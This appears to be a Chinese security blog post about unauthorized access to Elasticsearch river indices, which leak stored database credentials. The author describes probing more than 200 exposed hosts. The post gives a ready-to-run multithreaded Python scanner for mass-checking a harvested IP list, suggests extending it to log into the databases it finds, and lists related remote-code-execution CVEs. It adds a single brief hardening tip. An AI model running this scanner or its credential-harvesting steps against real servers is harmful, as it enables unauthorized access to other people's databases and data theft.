elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)
安装过程看这里:https://github.com/jprante/elasticsearch-jdbc
那么怎么知道别人是不是在用elasticsearch的river呢?

es_river_1

 

http://localhost:9200/_cat/indices里面的indices包含了_river一般就是了。
查看river详细信息:

http://localhost:9200/_river/_search

es_river_2

 

es_river_3

 

es_river_4

 

jdbc: {
url: "jdbc:mysql://localhost:3306/库名",
user: "root",
password: "密码",
sql: "select * from 表"
}

测试跑了200多个配置了_river的IP,mysql、mongodb,redis比较多

es_river_5

 

 

安全脉搏姿势

elasticsearch这种快赶上struts,建议放置内网,而且及时修复各种问题。

安全脉搏发个多线程es_river_file.py扫描脚本,ip.txt是你收集的es列表,成功扫到的会写入success.txt里面。

也可以改成引用MySQLdb的扫描插件加入扫描器。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#http://www.secpulse.com/archives/6540.html

import re
import sys
import requests
import threading
from Queue import Queue



def elastic_river(host):
    
    urlA = 'http://%s:9200/_cat/indices' % host
    urlB = 'http://%s:9200/_river/_search' % host
    try:
	content = requests.get(urlA,timeout=5,allow_redirects=True,verify=False).content
	
	if "_river" in content:
            print "SecPulse.com Hint:%s is vul" %  host
	    #contentB = requests.get(urlB,timeout=5,allow_redirects=True,verify=False).content
	    with open('success.txt','a') as af:
		af.write(urlB + '\n')
    except Exception,e:
	print e
	

class MyThread(threading.Thread): 
        def __init__(self): 
                threading.Thread.__init__(self) 
        def run(self): 
	    global queue 
	    while not queue.empty(): 
		ip = queue.get() 
		elastic_river(ip)
		    
                        
if __name__ == "__main__": 
    queue = Queue() 
    
    f = open('ip.txt',"r")
    fileLists = f.readlines()
    for ip in fileLists:
	ip = ip.strip()
	queue.put(ip)
	
    for i in range(99): 
	c = MyThread() 
	c.start()

 

elasticsearch相关漏洞:

elasticsearch远程代码执行漏洞(CVE-2014-3120)

ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427) (附exp)&  ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法

Elasticsearch 任意文件读取漏洞(CVE-2015-3337)

elasticsearch river未授权访问可泄漏数据库配置信息

【原文:elasticsearch 未授权访问-数据库配置信息泄漏 作者:园长MM 安全脉搏SP主编整理发布】

 

源链接

Hacking more

...